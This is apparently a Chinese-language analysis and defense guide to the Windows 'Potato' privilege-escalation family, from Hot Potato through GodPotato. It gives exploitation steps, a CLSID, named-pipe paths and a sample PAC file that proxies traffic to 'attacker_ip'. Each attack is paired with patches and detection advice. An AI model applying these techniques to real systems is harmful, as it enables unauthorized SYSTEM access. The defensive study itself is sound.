Windows 土豆家族提权漏洞分析与防御指南
概述
土豆家族(Tatoo Family)是一系列Windows提权漏洞的统称,这些漏洞利用Windows认证机制中的缺陷,通过NTLM中继、COM/DCOM组件滥用等技术实现从低权限账户(如IIS用户、服务账户)到SYSTEM权限的提权。本文将对Hot Potato、Rotten Potato、Juicy Potato、Rogue Potato、PrintSpoofer、PrintNotifyPotato/JuicyPotatoNG和GodPotato等漏洞进行详细分析。
1. Hot Potato (热土豆)
1.1 漏洞原理
Hot Potato是最初的土豆提权漏洞,由@breenmachine在2016年披露,利用流程如下:
- NBNS欺骗:当DNS解析失败时,Windows会尝试NBNS解析主机名
- 构造本地HTTP,响应WPAD:劫持WPAD后返回自定义PAC文件
- HTTP-SMB NTLM Relay:截获认证过程并转发
- 等待高权限进程访问:利用Windows更新服务(wuauserv)的SYSTEM权限
1.2 利用过程
NBNS欺骗
- 使用UDP端口耗尽技术使DNS解析失败
- 暴力匹配NBNS查询包中的TXID字段(2字节)
- 构造虚假数据包响应WPAD查询
WPAD代理设置
返回的PAC文件示例:
function FindProxyForURL(url, host) {
return "PROXY attacker_ip:80";
}
NTLM中继攻击
- 当SYSTEM权限的wuauserv服务检查更新时
- 流量被代理到攻击者机器
- 截获NTLM认证并中继
1.3 防御措施
- MS16-075补丁修复跨协议中继
- CVE-2016-3213修复WPAD解析
- CVE-2016-3236使请求PAC文件时不发送凭据
2. Rotten Potato (烂土豆)
2.1 漏洞原理
Rotten Potato同样由@breenmachine在2016年披露,优点是不需要等待触发,利用DCOM激活服务实现立即提权。
关键知识
AcceptSecurityContextAPI处理NTLM服务端流程- DCOM远程连接时使用SYSTEM权限(如BITS服务)
- LocalService默认具有
SeImpersonate和SeAssignPrimaryToken权限
2.2 利用过程
-
CoGetInstanceFromIStorage调用
- 使用BITS服务的CLSID:
{4991d34b-80a1-4291-83b6-3328366b9097} - 指定恶意代理地址激活COM对象
- 使用BITS服务的CLSID:
-
DCOM发送NTLM协商包
- SYSTEM进程连接时发起NTLM_NEGOTIATE
-
代理转发与令牌模拟
- 调用
AcceptSecurityContext处理NTLM_NEGOTIATE - 将协商包发送到本地135端口获取NTLM_CHALLENGE
- 替换CHALLENGE值并返回给DCOM
- 使用
ImpersonateSecurityContext获取SYSTEM令牌
- 调用
2.3 防御措施
Windows 10 1809和Windows Server 2019后失效,因DCOM和OXID解析器补丁。
3. Juicy Potato
3.1 改进点
在Rotten Potato基础上改进:
- CLSID扩展:发现多个可滥用的COM服务器CLSID
- 需满足:可被当前用户实例化、实现IMarshal接口、以高权限运行
- 进程创建优化:
SeImpersonate权限时使用CreateProcessWithTokenSeAssignPrimaryToken权限时使用CreateProcessAsUser
3.2 防御措施
同Rotten Potato,因微软修复OXID解析器相关漏洞。
4. Rogue Potato
4.1 背景
针对Windows Server 2019和Win10 1809后版本,JuicyPotato失效后的改进方案。
关键知识
- RPCSS服务:COM/DCOM的服务控制管理器
- OXID解析:客户端通过OXID查询获取DCOM服务器绑定信息
- ResolveOxid2函数:解析OXID查询请求
4.2 利用过程
-
触发COM服务连接远程135端口
- 指定远程OXID解析器IP
- 使用
CoGetInstanceFromIStorage触发DCOM激活
-
伪造ResolveOxid2响应
- 远程135端口转发到恶意OXID解析服务
- 返回篡改的绑定信息:
ncacn_np:localhost/pipe/roguepotato[\pipe\epmapper]
-
身份模拟
- 创建命名管道
\\.\pipe\roguepotato\pipe\epmapper - RPCSS连接后调用
ImpersonateNamedPipeClient
- 创建命名管道
-
令牌窃取
- 模拟RPCSS服务身份
- 枚举进程句柄找到SYSTEM令牌
- 使用
CreateProcessAsUser创建高权限进程
4.3 防御措施
目前仍然有效。
5. PrintSpoofer (PipePotato/BadPotato)
5.1 漏洞原理
利用spoolsv.exe服务的RpcRemoteFindFirstPrinterChangeNotificationEx函数,通过命名管道模拟获取SYSTEM令牌。
关键技巧
- 传递
\\127.0.0.1/pipe/foo时路径标准化为\\127.0.0.1\pipe\foo\pipe\spoolss - 注册该命名管道窃取token
5.2 防御措施
使用CreateFile打开命名管道时添加SECURITY_IDENTIFICATION flag,但目前无官方补丁。
6. PrintNotifyPotato/JuicyPotatoNG
6.1 改进点
- 使用
PrintNotify服务的CLSID(Impersonation level为impersonation) - 通过
LogonUser函数使用LogonNewCredentials添加INTERACTIVE组 - 本地利用需结合James Forshaw的DCOM认证中继技术
7. GodPotato
7.1 利用过程
-
初始化与RPC接口定位
- 定位
18f70770-8e64-11cf-9af1-0020af6e72f4接口GUID - 解析
_UseProtSeq函数
- 定位
-
关键函数挂钩
- 创建
_UseProtSeq代理函数 - 修改RPC调度表函数指针
- 创建
-
RPC重定向
- 创建命名管道
\\.\pipe\GodPotato\pipe\epmapper - 重定向RPC调用到命名管道
- 创建命名管道
-
身份模拟与提权
- 调用
ImpersonateNamedPipeClient - 获取SYSTEM令牌并创建进程
- 调用
防御建议
-
通用防御措施:
- 禁用不必要的服务账户的
SeImpersonate和SeAssignPrimaryToken权限 - 启用SMB签名和LDAP签名
- 限制命名管道访问权限
- 禁用不必要的服务账户的
-
针对特定漏洞:
- 安装最新安全补丁
- 监控异常进程创建和令牌模拟行为
- 限制DCOM和RPC通信
-
检测与响应:
- 监控异常OXID解析请求
- 检测异常的命名管道创建和连接
- 分析可疑的NTLM认证流量
总结
土豆家族漏洞展示了Windows认证和授权机制中的深层次问题,从最初的Hot Potato到最新的GodPotato,攻击技术不断演进以绕过微软的防御措施。理解这些漏洞的原理对于有效防御权限提升攻击至关重要。